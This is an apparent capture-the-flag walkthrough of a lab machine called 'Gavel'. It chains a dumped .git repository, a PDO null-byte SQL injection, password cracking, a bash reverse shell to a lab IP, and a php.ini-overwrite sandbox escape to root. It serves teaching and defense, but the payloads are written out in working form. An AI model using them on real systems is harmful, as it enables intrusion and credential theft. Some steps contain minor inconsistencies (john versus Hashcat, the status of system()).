Gavel - Writeup
Reconnaissance
Port Scan
Nmap reveals two open ports:
- 22/tcp - SSH
- 80/tcp - HTTP (Apache 2.4.52)
Service Identification
Port 80 hosts Gavel Auction - a PHP auction platform with registration, bidding, inventory management, and an admin panel.
An exposed .git directory allows us to dump the entire repository using git-dumper:
git-dumper http://gavel.htb/.git/ gavel-repo
Initial Access - PDO Null Byte SQL Injection
Source Code Analysis
The dumped source reveals a PHP auction platform with these key files:
| File | Purpose |
|---|---|
includes/config.php | DB creds: gavel:gavel |
includes/bid_handler.php | runkit_function_add() - executes rule field as PHP |
inventory.php | SQL injection in sort parameter |
admin.php | Auctioneers can edit auction rule and message |
inventory.php - SQL Injection Vector
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
The sort parameter is injected into the SQL query. The developer attempted to mitigate this by stripping backticks and wrapping the input in backtick-quoted identifiers. This prevents standard injection - you can't close the backtick because str_replace removes them all.
However, a PDO null byte injection bypasses this entirely.
The Bypass - Null Byte + PDO Parser Discrepancy
PDO's internal SQL parser is implemented in C. When the SQL string contains a null byte (%00), the C-level parser truncates at that point, while the MySQL client library (which uses length-counted strings) processes the full query. This creates a critical discrepancy:
- PDO sees (truncated):
SELECT?;-- -→ no?` parameter marker found - MySQL receives (full): the complete SQL with
user_idinserted unescaped
The \ before ? in the sort value further confuses PDO's marker detection.
Payload
POST /inventory.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00
Breaking it down:
sort=\?;-- -%00- the\?hides the parameter marker from PDO,%00(null byte) causes C-level truncation, PDO doesn't bind theuser_idparameteruser_id=xFROM (SELECT ...) ...` - contains raw SQL with backticks that MySQL interprets as actual SQL syntax since PDO didn't escape it
Result
The query returns user credentials:
auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
Cracking the Hash
The hash is bcrypt ($2y$, cost 10). Cracking with john:
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
auctioneer:midnight1
RCE via runkit_function_add()
With the auctioneer's credentials, we log into the admin panel and edit an auction's rule field.
In bid_handler.php, the rule is executed as PHP code via runkit_function_add():
$rule = $auction['rule'];
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
Setting the rule to a reverse shell payload:
system('bash -c "bash -i >& /dev/tcp/10.10.14.2/1337 0>&1"'); return true;
Any user placing a bid on that auction triggers the rule evaluation → RCE as www-data.
Lateral Movement
The cracked auctioneer password is reused for the system account:
www-data@gavel:~$ su auctioneer
auctioneer@gavel:~$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Privilege Escalation - PHP Sandbox Escape via php.ini Overwrite
Enumeration
The auctioneer user belongs to the gavel-seller group. Searching for group-owned files:
auctioneer@gavel:~$ find / -group gavel-seller 2>/dev/null
/run/gaveld.sock
/usr/local/bin/gavel-util
A custom root daemon gaveld (PID running as root) listens on a Unix socket. The gavel-util binary allows gavel-seller members to submit YAML auction items:
auctioneer@gavel:~$ gavel-util --help
Usage: gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
gaveld Internals
Analyzing the binary with strings:
/opt/gavel/.config/php/php.ini
function __sandbox_eval() {$previous_bid=%ld;$current_bid=%ld;$bidder='%s';%s};
execv
gaveld validates submitted rules by running them in a PHP sandbox via execv. The sandbox uses a restrictive php.ini:
open_basedir=/opt/gavel
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,
pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,
unserialize,extract,file_get_contents,fopen,include,require,require_once,
include_once,fsockopen,pfsockopen,stream_socket_client
Identifying the Bypass
Critical functions NOT in disable_functions:
| Function | Why it matters |
|---|---|
file_put_contents() | Can write files within open_basedir |
system() | Blocked - but only by php.ini, not compiled out |
Since gaveld runs as root and uses execv to spawn PHP with -c /opt/gavel/.config/php/php.ini, we can:
- Overwrite
php.iniusingfile_put_contents()(it's allowed, and we're root withinopen_basedir) - Submit a second rule using
system()- now unrestricted because the newphp.inihas nodisable_functions
Exploitation
Step 1 - Remove sandbox restrictions
cat > /tmp/pwn.yaml << 'EOF'
name: "Cursed Crown"
description: "A crown that grants root wishes"
image: "crown.png"
price: 1000
rule_msg: "Bid rejected"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On'); return true;"
EOF
gavel-util submit /tmp/pwn.yaml
Step 2 - Execute command as root
cat > /tmp/pwn2.yaml << 'EOF'
name: "Forbidden Blade"
description: "Cuts through sandboxes"
image: "blade.png"
price: 2000
rule_msg: "Nope"
rule: "system('chmod +s /bin/bash'); return true;"
EOF
gavel-util submit /tmp/pwn2.yaml
Step 3 - Root shell
auctioneer@gavel:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash
auctioneer@gavel:~$ bash -p
bash-5.2# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) egid=0(root)
bash-5.2# cat /root/root.txt
Attack Chain Summary
Port 80 (Gavel Auction Platform)
│
├─ Exposed .git → git-dumper → full source code
│ └─ config.php: DB creds gavel:gavel
│
├─ PDO null byte SQLi in inventory.php (sort parameter)
│ └─ %00 causes C-level parser truncation → user_id unescaped
│ └─ UNION SELECT → auctioneer bcrypt hash dumped
│
├─ Hashcat → auctioneer password cracked
│ └─ Admin panel → edit auction rule field
│ └─ runkit_function_add() → reverse shell as www-data
│
├─ Password reuse → su auctioneer (gavel-seller group)
│ └─ gavel-util submit → gaveld PHP sandbox
│
└─ PHP sandbox escape (two-step):
├─ file_put_contents() overwrites php.ini (removes disable_functions)
└─ system('chmod +s /bin/bash') → bash -p → root
Key Takeaways
- PDO null byte injection - a null byte in the SQL string causes PDO's C-level parser to truncate, creating a discrepancy with MySQL's length-counted processing. Parameters after the null byte are never bound, allowing raw SQL injection through otherwise parameterized queries
- Backtick wrapping is not sufficient sanitization for column names in SQL - use whitelisting instead of blacklisting
runkit_function_add()dynamically creates PHP functions from database content - equivalent toeval()on user-controlled data- PHP sandbox escape via
php.inioverwrite - iffile_put_contents()is not disabled and the process runs as root, overwritingphp.iniremoves all restrictions for subsequent executions - Defense in depth: the developer implemented multiple security layers (backtick wrapping, PHP sandbox, disable_functions), but each had a specific bypass. Layered security only works when each layer is independently robust
On this page
- Reconnaissance
- Port Scan
- Service Identification
- Initial Access - PDO Null Byte SQL Injection
- Source Code Analysis
- Cracking the Hash
- RCE via runkit_function_add()
- Lateral Movement
- Privilege Escalation - PHP Sandbox Escape via php.ini Overwrite
- Enumeration
- gaveld Internals
- Identifying the Bypass
- Exploitation
- Attack Chain Summary
- Key Takeaways
